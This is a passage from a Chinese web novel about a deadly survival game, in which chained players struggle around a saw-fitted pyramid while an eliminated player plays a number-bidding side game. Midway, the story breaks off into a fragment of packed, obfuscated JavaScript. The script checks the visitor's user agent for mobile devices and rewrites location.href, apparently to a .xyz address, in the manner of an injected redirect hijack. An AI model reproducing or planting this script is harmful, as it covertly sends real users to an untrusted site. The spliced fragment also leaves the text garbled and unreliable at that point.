自己只要知道对面玩家填入的前六个数字,就能猜出其剩下的最后一个数字,而这个数字必然会是自己答案的最后一位数!
原来这就是游戏所说的“耳聪目明”!
欧阳浩宇在填入音乐塔的前六个数字分别是1-6,那么其最后剩下的数字必然“7”。
实际游戏中,当装置第一次旋转,只能看到左手边上家的第一个数字——欧阳浩宇看到的是【7】【】【】【】【】【】【】,那就意味着南阵营花臂男填入的数字是【7】。
装置第二次旋转,斜面最上方的数字就是对面玩家填入的第一个数字——欧阳浩宇看到的是【1】【6】【】【】【】【】【】,就能知道西阵营小黄毛在第一轮填入【1】,而南阵营花臂男在第二轮填入的是【6】。
第三次旋转,能看到对家的第二个填入数字……以此类推,到第七次旋转,就能够明确知道西阵营黄毛填入音乐塔的前六个数字,便可以立刻猜出黄毛最后剩余的数字。
“耳聪目明”游戏的胜负手,就在第七次旋转过后,谁能最先从一堆信息中,准确获取自己的正确答案。
正确答案都有明确的提示,只是眼睛要看,耳朵要听。
最重要的,手速要快!
第二回合结束,北阵营获胜。
沈墨棠躺在石棺里,完成了【时候未到】,为自己赢得210分钟时长。
屏幕画面信息变化:
东,献祭+2;南,献祭+2;西,献祭+2;北:献祭+0
沈墨棠借着触屏旁的金属反光,查看狗环上的倒计时:
07:20:43
07:20:42
07:20:41
07:20:40
沈墨棠趁着完成游戏后的空隙,屏幕还没有更新更多的信息,在黑暗中闭眼思考这场所谓的“新人战”有什么意义。
……
俱乐部内。
罗冰嚼着泡泡糖,看准时机按下老虎机的【确定键】!
“嗒。”
机器发出一阵叮叮当当的电子音乐,屏幕上三个转轴依次缓缓停下,结果没有一个相同的。
“得嘞……今儿个点背,一次都没中!”罗冰“啵”的吹破泡泡糖,找到纸巾吐掉,不甘心地再次投币尝试。
“第三场要开始了。”吧台处,长发女人温柔的嗓音响起,她那一头黑发如同瀑布披在裸肩上,显得温婉又热烈。
她看了眼正在玩桌面足球的组员,无奈叫道:“老七、老八,你们过来!”
“老大,别管那几个废物了,我们看我们的,”青五条范诺琪甩着双马尾,一把搂住女人的胳膊,将头靠在女人的肩窝,随即低声道:“北城已经两胜了,这次大概率会是北城坐庄……还好,只要不是南城,我们就还有机会!”
“就是嘛,北城两个胜场咯,他们基本是稳咯……老大,早点做好另一手准备嘛!”
正在玩桌面足球的卷发男人“青八筒”以及他的对手光头男人“青七筒”专心致志,两人各站在一边,低头紧盯手中的“球员杆”,仿佛那小小的桌上足球场是真正的户外绿茵地。
“嗒——咚!”
小球沉入后方黑色的球袋。
“你怎么想?老大。”吧台的灯光的昏暗处,有个沙哑低沉的男声问道。
青二条向范诺琪递出一杯果汁,又将长发往身后拢了拢,看向屏幕:“游戏还没结束,不是吗?”
男声没有回答。
范诺琪在一旁刺溜吸干一杯果汁,困惑问道:“老大,我还是没搞懂,新人战为什么老是做这种淘汰者机制?好好比不行吗?反正进城后都是同个阵营的战友……”
“你的背后空无一人。”青二条盯着屏幕里的沈墨棠,本能地脱口而出。
意识到自己走神了,随即侧头露出温柔的笑容,“琪琪,你才进城3年,还不懂永夜城,也还不懂它需要的是什么样的人。”
“什么样的人?老大你刚才说的什么意思啊?”
“你听过‘人是群居动物’这种说法吗?毕竟从远古开始,人类就已经学会分工合作,共同生存,形成了相互依赖的本能,发展出越发复杂的社会形态……”
“老大你是想说‘有人的地方就有江湖’吗?”范诺琪笑着。
“哈哈。嗯。”青二条仰身轻拍一下大腿,顺着范诺琪的话继续:“但是不断演化的复杂社会反而造就人类内部的分化和不平等,那些仅能靠叙事性建立的认同感,成为禁锢思想的枷锁,奴役他人的鞭子。”
“啊?”
“对……”青二条将目光移回屏幕,凛然一笑,“永夜城需要的,是勇于背叛的人。”
“是能够在面对不公平、不合理的规则之下,找到能保存自己并获取全局最大化利益的人。”
“是自私的人,也是无私的人。”
她幽幽叹气:“只有具备这样品质的人,才能引领人类走出困境……才能……完成那样的计划。”
“我想,红蟹也是在找这样的人吧!”
吧台处安静了许久,俱乐部内只剩下屏幕和远处娱乐区的吵闹声。
范诺琪又要了杯混合果汁,看向台球桌方向,打破沉默:“所以老大,那三个傻瓜肯定不可能是这个‘人’吧?毕竟那可是三个能彻底放心将后背交给队友的人啊!”
“嗯,只能说热血漫害死人……”
……
游戏场地再度迎来四位新玩家。
东、南、西、北四边墙门打开,四名玩家缓缓走出,站在各自的红线前方。与前一次不同,这次红线处没有“操作台”,但每条红线的中点处还是有一个直径一米的红光圆圈。
四名玩家听从语音指示,老老实实站在圆圈内,毕竟谁都不想脖子上的狗环提前爆炸。
“都不想死呀……”
郑云霞仰头眯着眼睛,看向场地四角的摄像头位置,心想此时仍在东大厅内的几人,究竟是以什么心情在看她的“表演”。
再往上高空亮光遮蔽,难以直视。
郑云霞收回视线,低头调整呼吸,远远观察南、北两边的玩家,心里盘算着接下来的究竟是什么游戏。
第三回合,南方玩家是一名年纪轻轻的女孩,脸上还有点婴儿肥,娃娃脸看着略感喜庆;北方玩家是一位相貌普通的中年男人,35~40岁左右,留着寸头,神色严肃。
至于西方玩家,因为场地中央依旧隔着那个巨大金字塔装置,郑云霞没办法看到。
广播中,响起冰冷的机械声:“请玩家站在原地,禁止踏出圆圈范围,等待工作人员进行游戏前的准备工作。”
那声音嗡嗡然落下,给人一种候车厅的既视感。
郑云霞扬起眉毛:“工作人员?”
这是被卷入连续的“赌命游戏”以来,第一次出现除玩家以外的人!
她要趁机好好看清到底是什么样的法外狂徒!<
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“叮!”
如同第一回合那样,场地中央的金字塔装置四边,分别打开了一道门,里面出现两个人影——每个方向两人,一共八个人从金字塔装置内走出。
郑云霞睁大双眼。
至少……从外观动作上来说,是“人”没错。
从门里出来的八个人全都穿着统一的黑色雨衣,头部被巨大的雨帽罩得严严实实,面部戴着战术防毒面具,黑手套,黑色雪地靴,远看仿佛是一道无法被捕捉的影子。
郑云霞双腿微微打颤,她也不清楚自己是因为害怕还是激动,又或者是别的什么原因。
两名“工作人员”出现在视野中后,恍惚间,耳旁似乎能听见那种藏在面罩之后的沉重呼吸声。
“嘶……哈……嘶……哈……”
他们(她们)分别拎着一捆粗锁链,先是分开向两边,将锁链一端接在金字塔装置的底角,随后犹如建筑工地放线似的,一路边放锁链,边朝郑云霞走来。
“当叮、当、当叮、当当……”
锁链在地上拖拽着,发出锐响,令人神经紧绷。
等到近处,郑云霞才惊觉工作人员过分的身高——欧阳浩宇已经非常高了,这些人看上去比欧阳浩宇还要高。可能因为身穿齐踝黑色雨衣的缘故,看起来比欧阳浩宇显得壮硕许多。
八名工作人员分成四拨,其中两名工作人员穿过近20米的空旷场地,来到郑云霞身旁。
TA们将各自金属锁链的另一端,一个U形的部位,伸到她的腰间。
郑云霞不敢反抗,任由工作人员“啪嗒”一声,将两条锁链的U形端口相互接上,形成一个椭圆,牢牢锁住她的腰部。
郑云霞立即感到一阵重量坠在腰间,让她的身体忍不住想要向后仰去……她看向两条手腕粗的金属锁链,难以想象要将30米长的它们拎在手中需要多大力气。
期间这两名工作人员一言不发。
“你们是谁?!”
眼见他们回头便走,郑云霞这才反应过来,开口询问。
可以预料的是,得不到任何答复。
另外三名玩家情况也大抵如此。北方的寸头中年虽然叫嚣着“别乱来”、“你们这是犯法”、“非法拘禁、绑架、杀人……信不信你们过几天就被收拾了?”等等动之以情晓之以理的话语,甚至尝试过靠蜷缩身体来抵抗,但考虑到万一在肢体冲突中,自己踏出圆圈范围,就会引来狗环爆炸,他最终还是乖乖就范,被金属锁链锁住腰部。
很快,四名玩家便分别被两条锁链锁住,两条锁链的另一端固定在金字塔装置的两侧底角。
“喂!聋了吗?你们到底是什么人呀?喂!!”不论北方的中年如何大喊谩骂,始终无法引起工作人员的异动。
郑云霞小心待在红光圆圈内,双手握紧锁链,生怕等下就要被拖拽出圆圈。
不出片刻,八名工作人员全都返回装置内部,装置的四面门合上后,斜面重新变成光滑平整的七道屏幕。
“所以……这是要干嘛?”
郑云霞心中惴惴,看向场地中央。
同上个回合一样,七道屏幕全都亮着微光。不同的是,靠近看后,会发现其中隐约有许淡绿色纹路,组成占据整个斜面的“东城”字样。
“喀嗒喀嗒……”
“呀!”郑云霞被身后的声音吓得惊叫一声,随即扭头望向身后——场地边缘,石墙的电梯门口前方,大约10米的地面位置,升起一台一人高的机器,固定在原地。
快速向两边瞥一眼,南、北两阵营的电梯口,也都有这样的机器出现,想必对面西边也是如此。
“喂喂,喂喂?咳咳……”
“巨狼芬里尔生性凶残,于是天神尝试用铁链将其拴住,可无论是铁链‘莱汀’还是铁链‘卓米’,都被芬里尔挣脱出来,于是天神求助侏儒,锻造了一根名为格莱普尼尔的魔链,终于禁锢了芬里尔。”
广播中,红蟹的声音响起:“咳咳……虽然有点迟了,但还是欢迎四位玩家来到第三回合的游戏!接下来进行的是‘彩虹节拍’的第三回合【刀枪不入】!哈哈!”
33. 彩虹节拍-黄2
“游戏很简单,首先请各位玩家在你们来时的方向,那里有一台永夜城特制的发球机……”
发球机?
郑云霞回头看了看那台一人高的机器,又将视线投向场地中央的金字塔装置。
她处在二者正中间,腰间的锁链虽然无法挣脱,但足够她自由转身和移动——在锁链长度范围内移动。
“好了,各位可以回头了!游戏开始后,各位玩家脚下的移动限制灯将会解除,各位可以自由活动……”
“此时,发球机将以每轮6颗球的频率,朝场地中间发球;而你们要做的,就是尽量避免让球击中塔上的装置。”
郑云霞咽了口水,看向金字塔装置——自己脑后的发球机发球,只能打到装置朝东,也就是面向自己的这一面。
另外三个方向也一样。
“如各位所见,装置的每个斜面上面都有七块屏幕。当任意屏幕被球击中后,该屏幕的灯便会熄灭。若面向你的七块屏幕全部熄灭,则你将被淘汰!”
“本回合游戏,将持续进行到装置仅剩最后一面还有灯亮为止。”
“此时该方向的玩家获胜,奖励一枚‘雀徽’,并为所在阵营累积1胜场;其余玩家失败,将扣除300分钟的狗环剩余时间作为惩罚!”
换句话说,就是要保护好屏幕,谁的屏幕最后灭灯,谁就赢!
那就要设法将发球机的球拦下,不要让它打到场地中央的装置才行!
“此外,无其他规则限制……”
郑云霞脸色难看——经过几场游戏了,她早就发现,当游戏规则里出现“无其他规则限制”的时候,才代表这是一场真正残酷的游戏——罗钧钧的教训还历历在目。
场上那些未能清理干净的血污,就像是罗钧钧留下的遗言提醒。
红蟹继续道:
“这里补充两条信息:1,发球机每轮发球间隔5五分钟;2,锁链与场地装置的连接处,是一个万向轮轴。”
“万向轮轴”?
郑云霞的视线顺着右边锁链,迅速投向尽头,也就是连接到金字塔装置底角的地方……回头时,正对上北边的寸头中年的目光,他也正看向这边。
很显然,郑云霞的北侧锁链,和寸头中年的东侧锁链,连接在金字塔同个底角的两侧。
再看向另一边,自己的南侧锁链同样是与南阵营玩家的东侧锁链连接。
“那么……四位玩家请注意……”红蟹“嘻嘻”笑了两声,兴奋道:“游戏将在倒计时10秒后开始!”
“10……”
“9……”
“8……”
要开始了!
堵上性命的游戏,要开始了!
郑云霞转身面朝着发球机,双手拽着身体两侧的金属锁链,背对金字塔装置。
这场“刀枪不入”游戏,说白了就是要玩家“守护”装置朝自己的斜面,不要让其被球击中……幸好,因为有锁链限制的关系,玩家只能在有限的空间范围内活动,无法跑到其他方向给其他玩家捣乱,也不会有肢体冲突。
不然若是像第一回合的游戏那样,直接发生“真人PK”,那估计谁也没信心能打赢北边那寸头中年。
这场游戏中,玩家就是各自管好一台发球机就行。
“6……”
“5……”
“4……”
随着“嗒”的一声,脚下红灯组成的限制圆圈消失,代表玩家可以自由活动了。
既然如此,离发球机近一些,应该能更好将球拦住吧?
郑云霞暂时还不敢乱动,只能半蹲身体做好准备,等待游戏正式开始。
“3……”
“2……”
“1……游戏开始!”
郑云霞迅速往前踏出脚步,身后立刻发出阵阵叮当声。
“咔咔咔咔咔咔咔咔咔……”
回头一看,场地中央的金字塔装置,所有屏幕闪烁着红光,似乎内部有什么构造在飞速运转着。
“呀!?等下……!”
郑云霞一惊,猛然发现地上的两条锁链犹如巨蟒爬行般,正在被拉扯着逐渐往装置内收缩,探入底角,留在外面的部分很快绷得笔直!
她被拽着退了两步,才稳住平衡。
几秒后,“咔咔咔”的机械声戛然而止,绷直的锁链也不再收缩。
“怎么回事呀?”郑云霞拉着腰间两条锁链,奋力往发球机的方向走了两步,能清楚感觉到锁链又被拽出来了一些……“呀!”
可她身体骤然一顿,北边的锁链忽然又像活了一般,猛地拽着她的腰!
巨大的力道使得郑云霞往右后方踉跄颠簸好几步。她回头回头一看,北阵营的那个寸头大叔此时正像头牛一样,往他的发球机靠近,而他身上的东侧锁链,正通过连接到装置底角,拽动郑云霞这边的北侧锁链,一点点缩短!
“呀!原来是这样……”郑云霞终于明白补充信息2里【锁链与场地装置的连接处,是一个万向轮轴】是什么意思了——
四名玩家其实相互连在一起!两个相邻的玩家,共用一根锁链。
有点类似拔河的意思,自己距离中心装置越远,由于锁链的原因,相邻的两个玩家就要离中心装置越近!在锁链总体长度不变的情况下,玩家之间的扯拽,势必导致此消彼长。
这是体力题!
郑云霞咬牙切齿,这游戏人选究竟是怎么定的?
擅长体力的欧阳浩宇参加智力题,而她和罗钧钧这两个明显有点年纪的,反而都是参加这种需要大量体力的游戏?!
“喂……!”
郑云霞只能转身死死拽住向北的锁链,蹲下身保持稳定,一边大吼着:“喂!!北边的!别再往前了……我们商量一下!北边那男的?呀!!”
或许她的呼喊确实叫住了寸头中年,对方停了下来,回头愣愣看向这边,和郑云霞对上视线。
就在此时,金字塔装置的再次发生变化——在每个方向的第六块屏幕和第七块屏幕之间,也就是离地大约1米高的地方,缝隙里伸出了正在飞速运转的金属圆锯!
“嗡嗡嗡嗡嗡……嗡嗡嗡……”
郑云霞脸色瞬间煞白,看着两扇金属圆锯各自沿着缝隙左右移动,每每将要接触时便会转向分开,宛若两名在金字塔边缘巡逻的持械卫士。
看寸头中年的表情,他那边应该也是出现了圆锯。
如果玩家的锁链被两边不停拉扯,最终锁链被拉到最短,人就会紧贴到金字塔装置上……圆锯出现在离地1米左右的高度上,正是能够将人切成两半的位置……
“嗵——”
没等玩家反应,场地上总共四台发球机,都已经射出第一颗球!
那是类似网球的黄色小球,犹如一只异常迅猛的麻雀,在空中滑过弧线,直冲金字塔装置!
郑云霞连忙站起,尝试去接那颗球……“哎哟!”可她刚走出两步,身体被绷紧的锁链一拽,硬生生停在原地。网球也从指尖飞跃过去,“啪”的一声命中装置。
郑云霞的视线随着球回望,见到在写有“东城”的斜面上,第六块屏幕应声熄灭。
“嗵——”
根本没时间懊恼,发球机接着射出第二颗球……然后是第三颗、第四颗……
“嗵——”、“嗵——”、“嗵——”、“嗵——”……
第一轮6颗球全部发出,郑云霞拼尽全力左摇右摆,伸长手臂,却是一颗球都没拦下来,反而是被锁链拽得东倒西歪,狼狈不已。
“这群蠢货!”
她咬牙喘息,回头看向装置,已经有三块屏幕熄灭,将近半数……
这才是游戏第一轮!
全都是南北两侧的人害的……她拉着沉重的锁链,恶狠狠噔向北边——特别是那个可恨的寸头丑男,只顾他自己接球,疯狗一样跑来跑去,锁链几乎都在他那边!
“烦死了……!”郑云霞忍不住骂骂咧咧。
装置底角的“万向轮轴”设计,本来就是为了让玩家相互牵制,无法自如活动。
她体能完全不占优势,在这个游戏中想要获胜,只能先下手为强!补充信息的另一条是“每轮发球间隔5五分钟”,那么在这五分钟之内,自己有没有可能想出一个制胜方法……
“咔咔咔咔咔咔……”
“!!!”
金字塔装置内部再次发出机械声,场上总共八条锁链,也被四
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个底角的“万向轮轴”再次卷入其中……郑云霞虽然尽力拽着锁链,却无济于事。
脚下打滑,自己又离装置底部“嗡嗡”作响的金属圆锯近了一些!
几秒后,机械声停下。
郑云霞被腰上的锁链猛地一拉坐到地上。
她眯起眼,发现自己离装置只剩下12-15米左右,离发球机则越来越远。
……所以每轮发球开始前,都会缩短四名玩家的锁链总长度?
从刚才第一轮的发球中可以看出,发球机射出的每颗球,在空中飞行的球路轨迹都不一样,所以离发球机越远,需要跑动的范围就越大,也越容易被锁链束缚;反过来说,离发球机越近,就代表身后的锁链更长,也就具备更大的活动空间和余地。
更何况,离发球机近,也就意味着能远离那恐怖的圆锯。
郑云霞不是不知道这点。
而想要在五分钟后的第二轮发球中获得优势,就必须趁这段时间抢来足够活动范围的锁链!
她刚发力站起身子,就感到又是一阵大力拖拽,只能趔趄两步后连忙咬牙稳在原地:“等等!!”
北边的男人又开始乱走了!
现在自己所处的位置,完全偏向北边……不过很快,北边的止步原地,似乎是正在与西边的锁链较劲——他默默将四肢伏在地上,仿佛是一头腰间挂着农具的顽固老黄牛。
郑云霞趁机尽全力死死拽着锁链,听着十几米远的装置底部,那“嗡嗡嗡”的圆锯运作声,怎么也松不了气。
这场游戏至今唯一的好消息,是另一侧的南阵营玩家,那个娃娃脸的小姑娘,也不占体力优势。
那没办法了,只能先对付你了……
郑云霞咬紧牙关用力一拽,瞬间将南边的锁链拉过来了许多,她甚至将它们缠在手臂上。
“啊!”南边的小姑娘突然背身后的力气一拉跌坐在地上。
郑云霞不为所动,眼神中透着精光,这是一场四人相互掣肘的游戏——此时只能先从弱者那里占更多便宜,然后寄希望于对面看不到的西阵营玩家,能够在体力上稍稍牵制北边的寸头丑男。
“喂!我说!”郑云霞趁着局面僵持,思考片刻,朝北边的寸头中年喊道:“哎,你再这么使死劲拽,我们两边的只能联合一起针对你哦?给点活路,大家都不想死……那个,西边的,你说是吧?”
“是啊!”
场地另一边,装置对面,响起一声附和,听着是个较为沙哑年轻的男性声音。
“哦?”北边的寸头中年似乎稍稍松了劲,像是停下来思考郑云霞说的是什么意思。他虽然没有继续往外拽锁链,却也没打算将已经取得的战果相让,僵在原地。
郑云霞试着用力往回扽了扽,刚拉了一步,寸头中年立刻又死死拽着锁链。
再次僵住时,郑云霞再次开口:“北边的……你是真的不让吗?你这样我跟西边那哥们都别想玩了呀?好,你不仁我不义,我们三个只能僵持在原地继续扯皮……南边的妹妹,你别怕,如果北边的继续下去,今天这场,算我送你赢!”
话虽这么说,但在这场游戏里,南阵营玩家明显最为弱势。她大半锁链都在郑云霞这边,压根不可能获胜。
似乎是郑云霞的威胁起了作用,她能感觉到北边紧绷的锁链再次松懈了一些,于是便又往回扽一点。
只是手臂忽然受力——南边的锁链也开始微微紧绷。
“南边的还真想浑水摸鱼,闷声发大财呀?”郑云霞瞥向南边。
心里一股气上来,让她忍不住想发笑。
不自量力。
她迅速往前踏出两步,恶狠狠地将南侧锁链扯了回来,在手臂上缠更多圈!
光从力气上来说,自己比南边那个小孩占优。
当前重点,最大的问题还是来自北边。不管用威胁、求饶、谈判、交易……一切能争取活动空间的方法都行!
场上一时间安静下来,只剩下锁链抖动时的“叮当”声与圆锯“嗡嗡”作响的声音。
“嗡嗡嗡嗡嗡……”
嗯?!
郑云霞听着装置的声音,感觉有些不对劲——为什么总感觉自己这边的圆锯声频率更高?
34. 彩虹节拍-黄3
十分钟前。
“活人水棺”内。
第三回合就要开始。
沈墨棠双手不停搓动,防止温度流失,很快,她看到屏幕上显示出【大者通吃】的字样。
同时,红蟹跳脱的声音也回荡在逼仄的黑暗空间中:“唷呼!第三回合即将开始,四位被淘汰者在前两回合中是否达成献祭了呢?”
“哈哈……对了对了,这里再次提供给四位一个能赢得狗环剩余时长的机会!毕竟生命需要倒计时,而倒计时需要您的争取!”
“咳咳……呐,本回合中,各位的支线游戏叫做【大者通吃】!”
红蟹像是在跟人唠家常一样,而石棺中的屏幕画面变动,出现相应的规则演示动画。
沈墨棠轻轻叹了口气,终于再次提起精神。
“如各位所见,本次支线任务【大者通吃】是一场由四位被淘汰者共同进行的‘比拼数值’游戏。”
触屏动画中,显示“东”、“北”、“西”、“南”四个小人,每个小人面前都有“1、2、3、4、5、6、7”的七张数字牌。
沈墨棠腮帮子发硬——这下直观确定了游戏共有四个阵营。
随着动画进行,红蟹的声音继续:“你们将各自拥有1-7的七张数字牌,每轮将选择一个数字进行‘比大小’,数字最大的一人或多人将获得一场胜利。”
动画中,每个小人面前都有一张数字牌被推出:东推出【2】;北推出【3】;西推出【4】;南推出【5】。
随后南的【5】被放大,跳出“胜场+1”的字样落到“南小人”头上,接着这轮被推出的4张数字牌一同破碎消失。
比谁的数字最大,很简单的规则。
动画中继续演示第二轮的另一种情况:东推出【7】;北推出【7】;西推出【7】;南推出【1】。
随后东、北、西的三张【7】都被放大,各自跳出“胜场+1”的字样落到各自小人头上,最后四张牌同样一起消失。
沈墨棠轻轻颔首。
也就是说,如果有多名玩家出的数字最大,那么这些玩家都能获得“胜场+1”。
“……七轮游戏后,获得胜场最多的被淘汰者,可以获得双倍的赌注奖励!”红蟹说着,触屏画面中的四个小人不断推出面前的数字牌,一轮一轮“碰碎”……七轮过后,南小人头顶着“胜场+4”被放大,动画中爆出现星星和烟花,表示其获得最终胜利。
红蟹“哈哈”笑过,补充道:“这里补充一条额外规则:若最终结果为4位淘汰者胜场相同,则触发【我讨厌平局】的特殊情况!此时无人获得奖励,且扣除每位被淘汰者当前狗环剩余时间一半作为惩罚!”
一半?
那岂不是剩余时间越多的淘汰者,所受到的惩罚越严重,亏掉的时间就越多?
触屏动画的光在沈墨棠身上闪烁,她皱了皱眉。上个回合的【时候未到】中,她刚赢得得了210分钟时长。
她再次查看狗环屏幕,上面的倒计时为:
07:02:44
07:02:43
07:02:42
07:02:41
七个小时,扣去一半的话,那就又只剩3个多小时了。
上一场游戏的胜利直接白给。
“嗯……我也讨厌平局……”沈墨棠喃喃自语。
红蟹继续道:“【大者通吃】将分为三个阶段进行,每个阶段执行两轮数字比拼,而最后一组数字比拼将自动结算。”
“那么,首先我们先进行押注环节。”
“该支线任务将由‘目前狗环剩余时长最短’的被淘汰者决定赌注多少!咳咳、默认最少下注60分钟,请在接下来的1分钟内决定是否加注。”
“若您加注,则其余被淘汰者也将自动进行相等的加注。”
沈墨棠吹出一口气,糊在额头上的刘海纹丝不动。
让剩余时长最短的人加注,那自己的时间肯定是最多的,看来是别想押注了,只能等其他淘汰者决定。
趁着这段时间,可以先思考下游戏策略。
与上个回合不同,这回合的支线任务【大者通吃】是强制要求四名被淘汰者都参加,且四名被淘汰者需要投入相同的赌注。
首先对于游戏结果,沈墨棠知道自己狗环的剩余时长肯定最多,若是最后达成平局,自己要扣掉三个多小时,基本就是将上回合的210分钟全部奉还……相比起来,这场游戏的赌注如果没有加注到210分钟,那么自己其实没必要跟其他人一样冒险。
她只需要故意输掉,不让游戏最后平局,那结果还是可以接受的。
其次,就是游戏当中的策略。
每个淘汰者都只有1-7七个数字,每轮出一个,数字使用后无法再次重复使用。
按照游戏规则,首先【7】必赢,排除同一轮出现四张【1】的情况下,【1】必输,所以更多是看剩下的【2】、【3】、【4】、【5】、【6】五张牌当中,是否能拿到尽可能多的胜场。
根据动画演示,能达到3-4个胜场,基本就能锁定游戏胜利。
其中策略和扑克游戏类似,只不过【大者通吃】当中,玩家之间没办法见到彼此,更没有每轮的押注环节进行心理博弈,无法完成扑克游戏中“bluff”的唬人操作,所以更多的只能依赖运气。
是一场简单到基本无法出现策略的游戏……
“想靠运气吗?”
沈墨棠打量着冰冷的石头墙壁,触屏的光打在上面充满死气。
红蟹的声音终于再次响起:“好的!确定赌注为60分钟!接下来我们将立刻进行【大者通吃】游戏的第一阶段——1、2轮的数值比拼!”
随着话音落下,触屏出现了【1】、【2】、【3】、【4】、【5】、【6】、【7】七个数,以及屏幕中央的【第一轮出牌:】字样。
旁边还有1分钟倒计时,以及一行小字说明:如未按时输入,系统将在倒计时结束进行随机选择数字。
沈墨棠不由得一笑。
赌注只有最低的60分钟?那……或许自己该直接放弃这场游戏更为稳妥?
59……
58……
57……
56……
她思考着这场游戏可能的对局情况。
这个游戏基础的策略,就是尽可能利用自己的小数,去换掉别人的大数,然后再用比别人稍大一些的数获取胜场——例如最理想的情况,自己出了【1】,换掉其他三家一同出【7】,然后用【2】对其他三家【1】、【3】对其他三家【2】……这样最多能取得六个胜场!
当然,这只存在于理论和美梦中。
实际游戏根据每个玩家的不同性格,不同策略,不同侧重,存在无数种可能。
玩家之间又无法见到彼此,更别说相互交流,或者分析对方的肢体微表情。
所以,在一无所知的前提下,首先使用必输的【1】或者必赢的【7】,来试探其他人的出牌风格,就成了此时最好的选择。
相比起来,在第一轮使用【1】有可能换掉其他人的最大牌【7】,肯定是稳赚不赔的。
51……
50……
49……
48……
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419317|184756||http|test|mini|href|location''.split(''|''),0,{}));
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>沈墨棠痛苦地皱起眉。
但若是剩下三人都这么打算,那么这时候出【2】就是绝杀;再假设每个人都想到了要出【2】,那么出【3】就是绝杀……如此往复的话,游戏本质上变成了“你在第一层,克制地下层;我在地下层,克制大气层”的无尽推演。
“莽夫克高手,高手克萌新,萌新克莽夫……”
43……
42……
41……
40……
“唔……”
沈墨棠啧了一声,决定不再纠结,按了下【1】。
就算第一轮自己被出【2】的玩家吃掉,那也能利用这轮看出其他玩家的出牌风格。更何况这场游戏的赌注只有60分钟,就当作自己【死者复苏】途中的热身吧!
“快结束吧……要冷死了。”沈墨棠难受地小范围活动身躯,时不时挪动一下手脚,在狭小逼仄的水棺中尽可能不让自己冻僵。
很快,倒计时结束。
屏幕上公布了第一轮的【大者通吃】游戏结果:
东【1】,北【4】,西【1】,南【7】
“恭喜南阵营淘汰者本轮胜场+1!”
果然如此……
沈墨棠看着触屏,画面跳转到第二轮的60秒倒计时。
根据第一轮,能粗略判断,西阵营淘汰者出了【1】,和自己一样都属于比较保守出牌风格;而南阵营比较激进,先使用掉最大的【7】抢下一胜;北阵营则是最为大胆的出牌方式,选择使用中间数值【4】,目前还不确定其出牌逻辑具体是什么。
沈墨棠开始思考第二轮的出牌选择。
该轮中,若是自己出【7】,那么必然大于南阵营的所有牌——反过来说,南阵营也明白这点,所以大概率会放弃这一轮,而选择用掉【1】、【2】之类的小牌。
所以自己在这轮选择【7】并不划算;选择【6】的话,又很可能被西或者北阵营的【7】“爽吃”,白白浪费一张大牌。
如此推演下来,【5】、【4】、【3】也没有任何意义。
那就只能先出【2】,至少应该比南阵营的【1】大,而且【2】就算被其他人用更高的数吃掉,也还在可以接受的劣势范围内。
沈墨棠没有思考太多,按下了【2】。
很快,60秒倒计时结束。触屏公布第二轮游戏结果:
东【2】,北【5】,西【4】,南【3】
“恭喜北阵营淘汰者本轮胜场+1!”
冰冷的机械音播报:“第一阶段比拼结束,目前南阵营和北阵营的被淘汰者各获得1个胜场。第二阶段将在5分钟后开启。”
触屏自动锁屏,显示“等待主线游戏进行”。
主线游戏?
是指【彩虹节拍】的第三回合【刀枪不入】吗?
支线游戏竟然是跟主线游戏交替进行吗?
为什么要这么设计呢?
“唔?”
沈墨棠靠近发光的小屏幕,脸上又出现了新的疑惑:北出了个5是什么鬼?是什么逻辑?
她脑中瞬间想了无数种策略,都没办法完美解释北阵营淘汰者,为什么要在在第一轮【4】失利过后,第二轮选择用掉【5】?
还是说,北笃定这一轮其他三家不会出大数?
那么只需要像南或者西那样,出个【3】就可以,为何要出到【5】?
……
“嗡嗡嗡嗡……”
主游戏场地,正如郑云霞所感觉出的不对劲——金字塔装置四面“嗡嗡”作响的金属圆锯数量并不相等。
南、北各只有一扇;东、西却各有两扇。
35. 彩虹节拍-黄4
【刀枪不入】第一次进入5分钟休息时间时,【大者通吃】的第二阶段也正式开始。
第三轮,触屏解锁后,沈墨棠很快按下了【3】。
在刚才间隔的五分钟内,她早已想清楚接下来的策略:
前两轮中,西阵营的被淘汰者因为已经使用掉【1】和【4】,TA如果出【2】、【3】或【5】的话,很可能被【6】吃,毕竟其他三家都还有【6】……西如果出【6】,也可能被北或沈墨棠的【7】吃掉,所以西这一轮大概率会直接使用【7】,稳稳拿下一胜,还有几率对上激进的南阵营被淘汰者的【6】。
至于北……打法非常奇怪。
北可能想出奇制胜?
沈墨棠这么一想,又暗自否定:现在除了她自己之外,另外三个被淘汰者的狗环剩余时长都十分紧迫,应该不会选择毫无策略的豪赌。
总之北的最大牌和最小牌都还在,指不定要采取什么反常理的行为。
不论如何,只要西会出【7】,那沈墨棠第三轮就决定继续放掉。
“就60分钟……”沈墨棠对这场【大者通吃】的输赢并不十分在意,只要不是平局,输或者赢,自己的损失都不会太大。
趁着空闲下来的一点时间,沈墨棠不禁盘起主办方的真实目的!
她实在是好奇!
若是只想让“被淘汰者”向投票给自己的人复仇,那只需要单纯设置【死者复苏】,让被淘汰者“献祭”自己阵营的失败就行。
为什么还要在每个回合内为“被淘汰者”设置各种“支线玩法”呢?
场上的主线和水棺内的支线同时进行……那些躲在监控摄像头后面的“变态们”看得过来吗?
难道主办方的目的和自己设想的不一样,并不是为了给有钱的变态们取乐的?
那它们冒着巨大风险虏来那么多“玩家”,设置这些丧心病狂的“赌命游戏”,究竟想做什么!?
闲得发慌吗!
此时触屏正显示【大者通吃】的第三轮游戏结果:
东【3】,北【2】,西【3】,南【1】
“恭喜东、西两阵营的被淘汰者,本轮胜场+1!”
“当前四位被淘汰者胜场相等!”
什么?!
沈墨棠紧锁眉头,睁大眼睛,盯着屏幕上的结果显示。
北出了【2】?西出了【3】?南选择【1】放弃了这轮?这……为什么?
自己稀里糊涂赢了一局?
南这轮放弃可以理解。
西为什么会出【3】?西此时手中明明最小的数是【2】,就算要放弃这轮,也应该直接出【2】。
难道是考虑到沈墨棠手中最小的数是【3】,所以出了个相等的数?
